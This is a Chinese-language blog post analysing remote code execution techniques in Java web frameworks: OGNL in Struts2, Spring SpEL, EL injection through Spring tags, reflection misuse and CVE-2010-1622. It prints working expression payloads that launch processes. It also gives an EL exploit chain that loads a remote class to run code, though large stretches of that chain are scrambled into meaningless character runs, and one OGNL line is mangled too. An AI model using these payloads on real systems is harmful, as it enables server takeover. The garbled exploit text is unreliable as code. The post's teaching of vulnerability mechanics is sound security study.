J2EE远程代码执行那些事儿(框架层面)
0x00 背景
在J2EE远程代码执行中,大部分的代码执行情况的本质是,能够从外部去直接控制Java对象(其他语言暂不讨论,其实也差不多),控制Java对象大致包括几种情况:直接new对象;调用对象的方法(包括静态方法);访问对象的属性(赋值)等
那么一些J2EE框架在设计之中,如果某些功能允许以上操作,可能出现的远程代码执行情况。
0x01 OGNL
get方式，调用对象的静态方法执行命令：
...
OgnlContext context = new OgnlContext();
Ognl.getValue("@[email protected]().exec('calc')",context,context.getRoot());
...
set方式，new一个对象调用方法执行命令：
...
OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
...
那么我们在使用OGNL实现某些J2EE框架功能或者机制中，如果getValue或setValue函数是允许外部参数直接完整内容传入的，那肯定是很危险的！！！
比如：webWork及Struts2框架（其实真是不想说，Struts2简直就是在拖Java安全水平的后腿。它所有OGNL远程执行代码的漏洞的形成，可以用一句话简单概括：在使用OGNL实现框架某些功能或机制时，允许外部参数直接传入OGNL表达式或安全限制被饶过等）
0x02 在spring框架中也有类似OGNL的Spel表达式
1.调用对象的静态方法执行命令:
...
org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
...
2.new一个对象调用方法执行命令:
...
org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()");
...
但spring在安全方面应该不会像struts2一样这么不负责任（不过，现在稍微好点了！），它有没有类似的安全漏洞，有兴趣的可以去找找 ^-^
0x03 spring 标签实现中的el表达式注入
例如，类似的代码场景：
...
el: <spring:message text="${param.el}"></spring:message>
...
之前是个信息泄露漏洞（路径及jar等信息）：
前段时间老外弄出了远程命令执行,部分exp（网上都有，有兴趣自己找试一下。能否执行代码和web容器有很大关系，最好选老外一样的Glassfish或者resin某些版本用反射技巧实现执行代码）:
23cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3H3z5o6m8Q4x3V1k6K6M7s2u0A6L8X3N6Q4x3V1k6D9L8$3N6A6L8W2)9J5k6h3A6K6M7q4)9K6c8X3g2D9i4K6y4p5i4K6t1@1i4K6N6n7M7r3q4Y4k6f1y4G2L8Y4c8W2P5s2c8Q4x3X3g2J5k6i4q4#2k6i4y4@1i4K6u0W2k6$3g2@1f1$3g2K6M7$3W2G2L8W2)9J5z5q4)9J5z5g2)9J5k6i4y4W2N6p5q4@1N6s2u0A6j5Y4g2@1k6g2)9J5z5l9`.`."exp","".getClass().forName("java.util.ArrayList").newInstance())}
350K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3H3z5o6m8Q4x3V1k6K6M7s2u0A6L8X3N6Q4x3V1k6D9L8$3N6A6L8W2)9J5k6h3A6K6M7q4)9K6c8X3g2D9i4K6y4p5i4K6t1@1i4K6N6n7M7r3q4Y4k6f1y4G2L8Y4c8W2P5s2c8Q4x3X3g2J5k6i4q4#2k6i4y4@1i4K6u0W2k6$3g2@1f1$3g2K6M7$3W2G2L8W2)9J5z5q4)9J5z5g2)9J5k6h3N6W2N6p5q4@1N6s2u0A6j5Y4g2@1k6g2)9J5z5l9`.`."exp").add(pageContext.getServletContext().getResource("/").toURI().create("af9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3H3z5o6m8Q4x3V1k6K6M7s2u0A6L8X3N6Q4x3V1j5`.").toURL())}
fa4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3H3z5o6m8Q4x3V1k6K6M7s2u0A6L8X3N6Q4x3V1k6D9L8$3N6A6L8W2)9J5k6h3A6K6M7q4)9K6c8X3g2D9i4K6y4p5i4K6t1@1i4K6N6n7M7r3q4Y4k6f1y4G2L8Y4c8W2P5s2c8Q4x3X3g2Y4k6i4c8o6L8r3q4K6M7#2)9J5z5q4)9J5z5g2)9J5k6h3N6W2N6p5y4D9j5i4y4K6e0r3!0S2k6r3g2J5i4K6t1^5i4K6t1&6i4K6u0W2k6$3g2@1f1r3q4J5k6h3&6@1i4K6t1^5i4K6t1&6i4K6u0W2L8X3g2%4d9h3&6K6N6r3q4F1j5$3g2Q4x3U0S2H3j5h3N6W2b7$3!0F1N6r3g2^5N6q4)9J5k6i4u0W2M7i4g2W2M7%4c8Q4x3X3g2Y4k6i4c8e0k6i4y4K6K9h3!0F1i4K6t1^5i4K6t1&6i4K6u0W2k6$3g2@1b7i4c8@1M7X3W2T1N6i4c8W2i4K6t1^5"exp").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("exp").newInstance()}
原理简单描述：远程加载一个exp.class,在构造器中执行命令（利用对象初始化执行代码）.(因为其他web服务器对象方法调用被限制，所以执行恶意代码肯定会有问题)
这个漏洞重要的是学习它的利用技巧！实际危害其实不大！
0x04 反射机制实现功能时，动态方法调用
其实，这篇文章主要给出的是反射机制使用不当造成的方法越权访问漏洞类型场景，而不是struts2这个漏洞本身，可能大家都怀恋之前一系列struts2轻松getshell的exp了！
简化后的伪代码:
...
Class clazz = 对象.getClass();
Method m = clazz.getDeclaredMethod("有实际危害的方法");
m.invoke(对象);
...
原理简单描述：本质其实很简单，getDeclaredMethod的函数如果允许外部参数输入，就可以直接调用方法了，也就是执行代码，只是危害决定于调用的方法的实际power！
0x05 spring class.classLoader.URLs[0]对象属性赋值
cve-2010-1622 这是我最喜欢的一个漏洞利用技巧：
这个利用有点绕，其实如果看得懂Java其实也很简单！（大家常说，喜欢熬夜的coder不是好员工，睡觉了！）
以前看了很多篇漏洞分析文章，其中这篇不错（说得算比较清晰），推荐它：
另外，其实我个人觉得，这个漏洞的其他利用的实际危害要超过执行命令方式，比如：拒绝服务等
如果把你想像力再上升一个层面:在任意场景中只要能够控制Java对象,理论上它就能执行代码(至于是否能够被有效利用是另外一回事)。其实说得再执白点，写底层代码的程序员知不知道这些问题可能导致安全漏洞！